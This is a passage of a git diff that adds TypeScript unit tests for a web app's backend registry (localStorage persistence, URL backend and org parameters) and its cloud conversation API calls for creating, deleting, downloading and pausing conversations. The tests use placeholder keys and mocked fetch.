index 0000000000000000000000000000000000000000..dbede7ef7e0e0e0313987de3f2c1015364262cc1
--- /dev/null
+++ b/__tests__/api/backend-registry/last-conversation-store.test.ts
@@ -0,0 +1,67 @@
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+import {
+  clearLastConversationId,
+  getLastConversationId,
+  LAST_CONVERSATION_STORAGE_KEY,
+  setLastConversationId,
+} from "#/api/backend-registry/last-conversation-store";
+
+beforeEach(() => {
+  window.localStorage.clear();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+});
+
+describe("last-conversation-store", () => {
+  it("returns null when nothing has been remembered for a backend", () => {
+    expect(getLastConversationId("backend-a", null)).toBeNull();
+  });
+
+  it("remembers and reads back the most recently selected conversation per backend", () => {
+    setLastConversationId("backend-a", null, "convo-a-1");
+    setLastConversationId("backend-b", null, "convo-b-1");
+
+    expect(getLastConversationId("backend-a", null)).toBe("convo-a-1");
+    expect(getLastConversationId("backend-b", null)).toBe("convo-b-1");
+
+    // The most recent selection wins.
+    setLastConversationId("backend-a", null, "convo-a-2");
+    expect(getLastConversationId("backend-a", null)).toBe("convo-a-2");
+    // …without affecting other backends.
+    expect(getLastConversationId("backend-b", null)).toBe("convo-b-1");
+  });
+
+  it("keys cloud backends by (backendId, orgId) so each org gets its own slot", () => {
+    setLastConversationId("cloud-x", "org-1", "convo-org-1");
+    setLastConversationId("cloud-x", "org-2", "convo-org-2");
+
+    expect(getLastConversationId("cloud-x", "org-1")).toBe("convo-org-1");
+    expect(getLastConversationId("cloud-x", "org-2")).toBe("convo-org-2");
+    expect(getLastConversationId("cloud-x", null)).toBeNull();
+  });
+
+  it("clears a backend's slot without touching others", () => {
+    setLastConversationId("backend-a", null, "convo-a");
+    setLastConversationId("backend-b", null, "convo-b");
+
+    clearLastConversationId("backend-a", null);
+
+    expect(getLastConversationId("backend-a", null)).toBeNull();
+    expect(getLastConversationId("backend-b", null)).toBe("convo-b");
+  });
+
+  it("ignores empty conversation ids on write", () => {
+    setLastConversationId("backend-a", null, "");
+    expect(getLastConversationId("backend-a", null)).toBeNull();
+  });
+
+  it("survives malformed JSON in storage", () => {
+    window.localStorage.setItem(LAST_CONVERSATION_STORAGE_KEY, "not-json");
+    expect(getLastConversationId("backend-a", null)).toBeNull();
+    // A subsequent write recovers the storage shape.
+    setLastConversationId("backend-a", null, "convo-a");
+    expect(getLastConversationId("backend-a", null)).toBe("convo-a");
+  });
+});
diff --git a/__tests__/api/backend-registry/storage.test.ts b/__tests__/api/backend-registry/storage.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..fb508db72c3663e0d663d87f22a32e4ce40cf543
--- /dev/null
+++ b/__tests__/api/backend-registry/storage.test.ts
@@ -0,0 +1,365 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import {
+  ACTIVE_BACKEND_STORAGE_KEY,
+  BACKENDS_STORAGE_KEY,
+  readStoredActiveBackend,
+  readStoredBackends,
+  writeStoredActiveBackend,
+  writeStoredBackends,
+} from "#/api/backend-registry/storage";
+import type { Backend } from "#/api/backend-registry/types";
+
+const ORIGINAL_LOCATION = window.location;
+
+function mockWindowLocation(url: string) {
+  Object.defineProperty(window, "location", {
+    configurable: true,
+    value: new URL(url),
+  });
+}
+
+afterEach(() => {
+  window.localStorage.clear();
+  window.sessionStorage.clear();
+  delete (window as unknown as Record<string, unknown>)
+    .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+  Object.defineProperty(window, "location", {
+    configurable: true,
+    value: ORIGINAL_LOCATION,
+  });
+  window.history.pushState({}, "", "/");
+  vi.unstubAllEnvs();
+});
+
+describe("backend-registry storage", () => {
+  it("round-trips a list of backends", () => {
+    const backends: Backend[] = [
+      {
+        id: "abc",
+        name: "Local 1",
+        host: "http://127.0.0.1:9000",
+        apiKey: "key-1",
+        kind: "local",
+      },
+      {
+        id: "xyz",
+        name: "Production",
+        host: "https://app.all-hands.dev",
+        apiKey: "bearer-2",
+        kind: "cloud",
+      },
+    ];
+
+    writeStoredBackends(backends);
+
+    expect(readStoredBackends()).toEqual(backends);
+  });
+
+  it("returns empty list when storage is malformed", () => {
+    window.localStorage.setItem(BACKENDS_STORAGE_KEY, "{not-json");
+    expect(readStoredBackends()).toEqual([]);
+  });
+
+  it("does not seed the default Local backend when launcher details are missing", () => {
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).toBeNull();
+
+    expect(readStoredBackends()).toEqual([]);
+    expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).toBeNull();
+  });
+
+  it("seeds the default Local backend when host and API key are available", () => {
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+    vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+
+    const result = readStoredBackends();
+
+    expect(result).toHaveLength(1);
+    expect(result[0]).toMatchObject({
+      id: "default-local",
+      host: "http://localhost:9000",
+      apiKey: "fresh-session-key",
+      kind: "local",
+    });
+    expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).not.toBeNull();
+    expect(readStoredBackends()).toEqual(result);
+  });
+
+  it("seeds a cookie-auth Cloud backend when locked to the current origin", () => {
+    (
+      window as unknown as Record<string, unknown>
+    ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = window.location.origin;
+    window.localStorage.setItem(
+      BACKENDS_STORAGE_KEY,
+      JSON.stringify([
+        {
+          id: "stale-local",
+          name: "Stale Local",
+          host: "http://localhost:18000",
+          apiKey: "stale-session",
+          kind: "local",
+        },
+      ]),
+    );
+
+    const result = readStoredBackends();
+
+    expect(result).toEqual([
+      {
+        id: "locked-cloud",
+        name: "OpenHands Cloud",
+        host: window.location.origin,
+        apiKey: "",
+        kind: "cloud",
+        authMode: "cookie",
+      },
+    ]);
+    expect(readStoredActiveBackend()).toEqual({
+      backendId: "locked-cloud",
+      orgId: null,
+    });
+  });
+
+  it("seeds the cookie-auth Cloud backend on the current origin when the locked host is an equivalent transition domain", () => {
+    mockWindowLocation("https://pr-254.staging.openhands.dev/canvas");
+    (
+      window as unknown as Record<string, unknown>
+    ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = "https://pr-254.staging.all-hands.dev";
+
+    expect(readStoredBackends()).toEqual([
+      {
+        id: "locked-cloud",
+        name: "OpenHands Cloud",
+        host: "https://pr-254.staging.openhands.dev",
+        apiKey: "",
+        kind: "cloud",
+        authMode: "cookie",
+      },
+    ]);
+  });
+
+  it("preserves an existing locked Cloud org selection while reseeding", () => {
+    (
+      window as unknown as Record<string, unknown>
+    ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = window.location.origin;
+    writeStoredActiveBackend({ backendId: "locked-cloud", orgId: "org-1" });
+
+    expect(readStoredBackends()[0]).toMatchObject({ id: "locked-cloud" });
+    expect(readStoredActiveBackend()).toEqual({
+      backendId: "locked-cloud",
+      orgId: "org-1",
+    });
+  });
+
+  it("does not seed a cookie-auth Cloud backend when locked cross-origin", () => {
+    (
+      window as unknown as Record<string, unknown>
+    ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = "https://app.all-hands.dev";
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+
+    expect(readStoredBackends()).toEqual([]);
+  });
+
+  it("re-seeds the default Local backend when storage holds an empty array and launcher details are available", () => {
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+    vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+    window.localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify([]));
+
+    const result = readStoredBackends();
+
+    expect(result).toHaveLength(1);
+    expect(result[0]).toMatchObject({ id: "default-local", kind: "local" });
+  });
+
+  it("re-seeds the default Local backend when every stored entry is invalid and launcher details are available", () => {
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+    vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+    window.localStorage.setItem(
+      BACKENDS_STORAGE_KEY,
+      JSON.stringify([{ kind: "cloud" }, "not-an-object"]),
+    );
+
+    const result = readStoredBackends();
+
+    expect(result).toHaveLength(1);
+    expect(result[0]).toMatchObject({ id: "default-local", kind: "local" });
+  });
+
+  it("filters out backends with invalid shape", () => {
+    window.localStorage.setItem(
+      BACKENDS_STORAGE_KEY,
+      JSON.stringify([
+        { id: "ok", name: "x", host: "y", apiKey: "z", kind: "local" },
+        { id: "missing-kind", name: "x", host: "y", apiKey: "z" },
+        { kind: "cloud" },
+        "not-an-object",
+      ]),
+    );
+
+    expect(readStoredBackends()).toEqual([
+      { id: "ok", name: "x", host: "y", apiKey: "z", kind: "local" },
+    ]);
+  });
+
+  it("preserves stored backends without API keys", () => {
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    const storedBackend: Backend = {
+      id: "default-local",
+      name: "Local",
+      host: window.location.origin,
+      apiKey: "",
+      kind: "local",
+    };
+    window.localStorage.setItem(
+      BACKENDS_STORAGE_KEY,
+      JSON.stringify([storedBackend]),
+    );
+
+    expect(readStoredBackends()).toEqual([storedBackend]);
+  });
+
+  it("syncs a stale default Local API key from env defaults", () => {
+    vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+    window.localStorage.setItem(
+      BACKENDS_STORAGE_KEY,
+      JSON.stringify([
+        {
+          id: "default-local",
+          name: "Local",
+          host: window.location.origin,
+          apiKey: "stored-session-key",
+          kind: "local",
+        },
+      ]),
+    );
+
+    expect(readStoredBackends()[0]).toMatchObject({
+      id: "default-local",
+      apiKey: "fresh-session-key",
+    });
+  });
+
+  it("syncs a stale default Local API key across localhost and 127.0.0.1", () => {
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "http://127.0.0.1:8000");
+    vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+    window.localStorage.setItem(
+      BACKENDS_STORAGE_KEY,
+      JSON.stringify([
+        {
+          id: "default-local",
+          name: "Local",
+          host: "http://localhost:8000",
+          apiKey: "stored-session-key",
+          kind: "local",
+        },
+      ]),
+    );
+
+    expect(readStoredBackends()[0]).toMatchObject({
+      id: "default-local",
+      host: "http://localhost:8000",
+      apiKey: "fresh-session-key",
+    });
+  });
+
+  it("preserves a custom backend API key instead of syncing from env defaults", () => {
+    vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+    const storedBackend: Backend = {
+      id: "custom-local",
+      name: "Custom Local",
+      host: window.location.origin,
+      apiKey: "stored-session-key",
+      kind: "local",
+    };
+    window.localStorage.setItem(
+      BACKENDS_STORAGE_KEY,
+      JSON.stringify([storedBackend]),
+    );
+
+    expect(readStoredBackends()[0]).toMatchObject({
+      id: "custom-local",
+      apiKey: "stored-session-key",
+    });
+  });
+
+  it("preserves a user-edited non-loopback default Local backend API key", () => {
+    vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+    const storedBackend: Backend = {
+      id: "default-local",
+      name: "Edited Local",
+      host: "https://example.com",
+      apiKey: "stored-session-key",
+      kind: "local",
+    };
+    window.localStorage.setItem(
+      BACKENDS_STORAGE_KEY,
+      JSON.stringify([storedBackend]),
+    );
+
+    expect(readStoredBackends()[0]).toMatchObject({
+      id: "default-local",
+      host: "https://example.com",
+      apiKey: "stored-session-key",
+    });
+  });
+
+  it("round-trips active selection with orgId", () => {
+    writeStoredActiveBackend({ backendId: "xyz", orgId: "org-1" });
+    expect(readStoredActiveBackend()).toEqual({
+      backendId: "xyz",
+      orgId: "org-1",
+    });
+  });
+
+  it("normalizes missing orgId to null", () => {
+    writeStoredActiveBackend({ backendId: "xyz" });
+    expect(readStoredActiveBackend()).toEqual({
+      backendId: "xyz",
+      orgId: null,
+    });
+  });
+
+  it("prefers the tab-scoped active selection over the global fallback", () => {
+    window.localStorage.setItem(
+      ACTIVE_BACKEND_STORAGE_KEY,
+      JSON.stringify({ backendId: "global-backend", orgId: null }),
+    );
+    window.sessionStorage.setItem(
+      ACTIVE_BACKEND_STORAGE_KEY,
+      JSON.stringify({ backendId: "tab-backend", orgId: "org-1" }),
+    );
+
+    expect(readStoredActiveBackend()).toEqual({
+      backendId: "tab-backend",
+      orgId: "org-1",
+    });
+  });
+
+  it("falls back to the global active selection for new tabs", () => {
+    window.localStorage.setItem(
+      ACTIVE_BACKEND_STORAGE_KEY,
+      JSON.stringify({ backendId: "global-backend", orgId: null }),
+    );
+
+    expect(readStoredActiveBackend()).toEqual({
+      backendId: "global-backend",
+      orgId: null,
+    });
+  });
+
+  it("clears storage when active selection is set to null", () => {
+    writeStoredActiveBackend({ backendId: "xyz", orgId: "o" });
+    writeStoredActiveBackend(null);
+
+    expect(
+      window.sessionStorage.getItem(ACTIVE_BACKEND_STORAGE_KEY),
+    ).toBeNull();
+    expect(window.localStorage.getItem(ACTIVE_BACKEND_STORAGE_KEY)).toBeNull();
+    expect(readStoredActiveBackend()).toBeNull();
+  });
+
+  it("returns null active selection when storage is malformed", () => {
+    window.localStorage.setItem(ACTIVE_BACKEND_STORAGE_KEY, "{broken");
+    expect(readStoredActiveBackend()).toBeNull();
+  });
+});
diff --git a/__tests__/api/backend-registry/url-selection.test.ts b/__tests__/api/backend-registry/url-selection.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..40e6cc53da12570e7e9e9f55f709f6b9943f3a1c
--- /dev/null
+++ b/__tests__/api/backend-registry/url-selection.test.ts
@@ -0,0 +1,166 @@
+import { describe, expect, it } from "vitest";
+import {
+  BACKEND_QUERY_PARAM,
+  ORG_QUERY_PARAM,
+  readBackendSelectionFromUrl,
+  withBackendSelectionParams,
+} from "#/api/backend-registry/url-selection";
+import type { Backend } from "#/api/backend-registry/types";
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:9000",
+  apiKey: "k",
+  kind: "local",
+};
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-key",
+  kind: "cloud",
+};
+
+const backends = [localBackend, cloudBackend];
+
+describe("withBackendSelectionParams", () => {
+  it("pins the active backend id onto the path", () => {
+    const path = withBackendSelectionParams("/conversations/abc", {
+      backend: localBackend,
+      orgId: null,
+    });
+
+    expect(path).toBe(`/conversations/abc?${BACKEND_QUERY_PARAM}=local-1`);
+  });
+
+  it("includes the org id for a cloud backend", () => {
+    const path = withBackendSelectionParams("/conversations/abc", {
+      backend: cloudBackend,
+      orgId: "org-7",
+    });
+
+    expect(path).toBe(
+      `/conversations/abc?${BACKEND_QUERY_PARAM}=prod&${ORG_QUERY_PARAM}=org-7`,
+    );
+  });
+
+  it("omits the org id when there is none", () => {
+    const path = withBackendSelectionParams("/conversations/abc", {
+      backend: cloudBackend,
+      orgId: null,
+    });
+
+    expect(path).not.toContain(ORG_QUERY_PARAM);
+  });
+
+  it("preserves query parameters already on the path", () => {
+    const path = withBackendSelectionParams("/conversations/abc?tab=files", {
+      backend: localBackend,
+      orgId: null,
+    });
+
+    expect(path).toBe(
+      `/conversations/abc?tab=files&${BACKEND_QUERY_PARAM}=local-1`,
+    );
+  });
+
+  it("keeps a fragment after existing query parameters intact and after the query", () => {
+    const path = withBackendSelectionParams(
+      "/conversations/abc?tab=files#detail",
+      {
+        backend: localBackend,
+        orgId: null,
+      },
+    );
+
+    expect(path).toBe(
+      `/conversations/abc?tab=files&${BACKEND_QUERY_PARAM}=local-1#detail`,
+    );
+  });
+
+  it("keeps a fragment on a path without query parameters after the query", () => {
+    const path = withBackendSelectionParams("/conversations/abc#detail", {
+      backend: localBackend,
+      orgId: null,
+    });
+
+    expect(path).toBe(
+      `/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#detail`,
+    );
+  });
+
+  it("does not treat a ? inside the fragment as a query separator", () => {
+    const path = withBackendSelectionParams("/conversations/abc#detail?x=1", {
+      backend: localBackend,
+      orgId: null,
+    });
+
+    expect(path).toBe(
+      `/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#detail?x=1`,
+    );
+  });
+
+  it("round-trips an empty fragment verbatim", () => {
+    const path = withBackendSelectionParams("/conversations/abc#", {
+      backend: localBackend,
+      orgId: null,
+    });
+
+    expect(path).toBe(`/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#`);
+  });
+
+  it("keeps the org id and the fragment together", () => {
+    const path = withBackendSelectionParams("/conversations/abc#detail", {
+      backend: cloudBackend,
+      orgId: "org-7",
+    });
+
+    expect(path).toBe(
+      `/conversations/abc?${BACKEND_QUERY_PARAM}=prod&${ORG_QUERY_PARAM}=org-7#detail`,
+    );
+  });
+
+  it("keeps query data that itself contains a ?", () => {
+    const path = withBackendSelectionParams("/conversations/abc?next=/a?b=1", {
+      backend: localBackend,
+      orgId: null,
+    });
+
+    expect(path).toBe(
+      `/conversations/abc?next=%2Fa%3Fb%3D1&${BACKEND_QUERY_PARAM}=local-1`,
+    );
+  });
+});
+
+describe("readBackendSelectionFromUrl", () => {
+  it("reads a registered backend id", () => {
+    expect(
+      readBackendSelectionFromUrl(backends, `?${BACKEND_QUERY_PARAM}=local-1`),
+    ).toEqual({ backendId: "local-1", orgId: null });
+  });
+
+  it("reads the org id alongside the backend id", () => {
+    expect(
+      readBackendSelectionFromUrl(
+        backends,
+        `?${BACKEND_QUERY_PARAM}=prod&${ORG_QUERY_PARAM}=org-7`,
+      ),
+    ).toEqual({ backendId: "prod", orgId: "org-7" });
+  });
+
+  it("ignores a backend id that is not registered", () => {
+    expect(
+      readBackendSelectionFromUrl(backends, `?${BACKEND_QUERY_PARAM}=gone`),
+    ).toBeNull();
+  });
+
+  it("ignores an empty or absent parameter", () => {
+    expect(readBackendSelectionFromUrl(backends, "")).toBeNull();
+    expect(readBackendSelectionFromUrl(backends, "?tab=files")).toBeNull();
+    expect(
+      readBackendSelectionFromUrl(backends, `?${BACKEND_QUERY_PARAM}=`),
+    ).toBeNull();
+  });
+});
diff --git a/__tests__/api/cloud/conversation-create.test.ts b/__tests__/api/cloud/conversation-create.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..a46e6b109ede179db9cb14416c15c2f1addf7236
--- /dev/null
+++ b/__tests__/api/cloud/conversation-create.test.ts
@@ -0,0 +1,128 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+  getFetchCall,
+  getJsonBody,
+  mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id });
+  fetchMock.mockReset();
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("AgentServerConversationService cloud branch", () => {
+  it("createConversation POSTs the cloud payload directly and returns a WORKING task", async () => {
+    fetchMock.mockResolvedValue(
+      mockJsonResponse({
+        id: "task-123",
+        created_by_user_id: null,
+        status: "WORKING",
+        detail: null,
+        app_conversation_id: null,
+        agent_server_url: null,
+        request: {},
+        created_at: "2026-05-06T00:00:00Z",
+        updated_at: "2026-05-06T00:00:00Z",
+      }),
+    );
+
+    const result = await AgentServerConversationService.createConversation({
+      initialUserMsg: "fix the bug",
+      conversationInstructions: "Optional title",
+      metadata: {
+        selected_repository: "user/repo",
+        selected_branch: "main",
+        // eslint-disable-next-line @typescript-eslint/no-explicit-any
+        git_provider: "github" as any,
+      },
+    });
+
+    expect(fetchMock).toHaveBeenCalledOnce();
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations`);
+    expect(init).toMatchObject({
+      method: "POST",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    const requestBody = getJsonBody(init);
+
+    // cloud payload shape — flat fields, NO encrypted-settings round-trip.
+    expect(requestBody.selected_repository).toBe("user/repo");
+    expect(requestBody.selected_branch).toBe("main");
+    expect(requestBody.git_provider).toBe("github");
+    expect(requestBody.title).toBe("Optional title");
+    expect(requestBody.initial_message).toEqual({
+      role: "user",
+      content: [{ type: "text", text: "fix the bug" }],
+    });
+    // The local-only encrypted-settings keys must NOT be present.
+    expect(requestBody).not.toHaveProperty("agent_settings_encrypted");
+    expect(requestBody).not.toHaveProperty("conversation_settings_encrypted");
+
+    // The returned task is the upstream task — WORKING, no app_conversation_id yet.
+    expect(result.id).toBe("task-123");
+    expect(result.status).toBe("WORKING");
+    expect(result.app_conversation_id).toBeNull();
+  });
+
+  it("getStartTask polls /api/v1/app-conversations/start-tasks?ids= directly", async () => {
+    fetchMock.mockResolvedValue(
+      mockJsonResponse([
+        {
+          id: "task-123",
+          created_by_user_id: null,
+          status: "READY",
+          detail: null,
+          app_conversation_id: "conv-456",
+          agent_server_url: "https://runtime-456.app.all-hands.dev",
+          request: {},
+          created_at: "2026-05-06T00:00:00Z",
+          updated_at: "2026-05-06T00:00:00Z",
+        },
+      ]),
+    );
+
+    const result =
+      await AgentServerConversationService.getStartTask("task-123");
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(
+      `${cloudBackend.host}/api/v1/app-conversations/start-tasks?ids=task-123`,
+    );
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(result?.status).toBe("READY");
+    expect(result?.app_conversation_id).toBe("conv-456");
+  });
+});
diff --git a/__tests__/api/cloud/conversation-delete.test.ts b/__tests__/api/cloud/conversation-delete.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b5712095b22c239a90f5256c7a00cb8477e9d965
--- /dev/null
+++ b/__tests__/api/cloud/conversation-delete.test.ts
@@ -0,0 +1,51 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id });
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(mockJsonResponse({ success: true }));
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("AgentServerConversationService.deleteConversation cloud branch", () => {
+  it("calls the cloud DELETE app-conversations endpoint directly", async () => {
+    await AgentServerConversationService.deleteConversation("conv-abc");
+
+    expect(fetchMock).toHaveBeenCalledOnce();
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations/conv-abc`);
+    expect(init).toMatchObject({
+      method: "DELETE",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+  });
+});
diff --git a/__tests__/api/cloud/conversation-download.test.ts b/__tests__/api/cloud/conversation-download.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b82dd8e35fd7fbe6d003f31bf94d26520dc53fe8
--- /dev/null
+++ b/__tests__/api/cloud/conversation-download.test.ts
@@ -0,0 +1,63 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+  getFetchCall,
+  mockBlobResponse,
+  mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id });
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(mockJsonResponse({}));
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("AgentServerConversationService.downloadConversation cloud branch", () => {
+  it("calls the cloud download endpoint directly with responseType blob and returns the Blob", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockBlobResponse("zip-bytes", "application/zip"),
+    );
+
+    const result =
+      await AgentServerConversationService.downloadConversation("conv-abc");
+
+    expect(fetchMock).toHaveBeenCalledOnce();
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(
+      `${cloudBackend.host}/api/v1/app-conversations/conv-abc/download`,
+    );
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    await expect(result.text()).resolves.toBe("zip-bytes");
+  });
+});
diff --git a/__tests__/api/cloud/conversation-pause.test.ts b/__tests__/api/cloud/conversation-pause.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..81494f2e95cf474192acd54c898f63559b68ccac
--- /dev/null
+++ b/__tests__/api/cloud/conversation-pause.test.ts
@@ -0,0 +1,93 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { pauseConversation } from "#/hooks/mutation/conversation-mutation-utils";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const buildConversation = (
+  overrides: Partial<AppConversation> = {},
+): AppConversation => ({
+  id: "conv-abc",
+  created_by_user_id: null,
+  selected_repository: null,
+  selected_branch: null,
+  git_provider: null,
+  title: "Test",
+  trigger: null,
+  pr_number: [],
+  llm_model: null,
+  metrics: null,
+  created_at: "2026-04-16T00:00:00Z",
+  updated_at: "2026-04-16T00:00:00Z",
+  execution_status: ExecutionStatus.RUNNING,
+  conversation_url: null,
+  session_api_key: null,
+  sandbox_id: "sandbox-xyz",
+  sub_conversation_ids: [],
+  ...overrides,
+});
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id });
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(mockJsonResponse({ success: true }));
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+  vi.restoreAllMocks();
+});
+
+describe("pauseConversation cloud branch", () => {
+  it("POSTs directly to the cloud sandbox pause endpoint", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "batchGetAppConversations",
+    ).mockResolvedValue([buildConversation({ sandbox_id: "sandbox-xyz" })]);
+
+    await pauseConversation("conv-abc");
+
+    expect(fetchMock).toHaveBeenCalledOnce();
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/v1/sandboxes/sandbox-xyz/pause`);
+    expect(init).toMatchObject({
+      method: "POST",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+  });
+
+  it("throws and does not call the cloud API when the cloud conversation has no sandbox_id", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "batchGetAppConversations",
+    ).mockResolvedValue([buildConversation({ sandbox_id: null })]);
+
+    await expect(pauseConversation("conv-abc")).rejects.toThrow(/sandbox_id/);
+    expect(fetchMock).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/api/cloud/conversation-public-flag.test.ts b/__tests__/api/cloud/conversation-public-flag.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..c43fb7654b749b283ee3122e7551f8d45a302d7a
--- /dev/null
+++ b/__tests__/api/cloud/conversation-public-flag.test.ts
@@ -0,0 +1,73 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+  getFetchCall,
+  getJsonBody,
+  mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
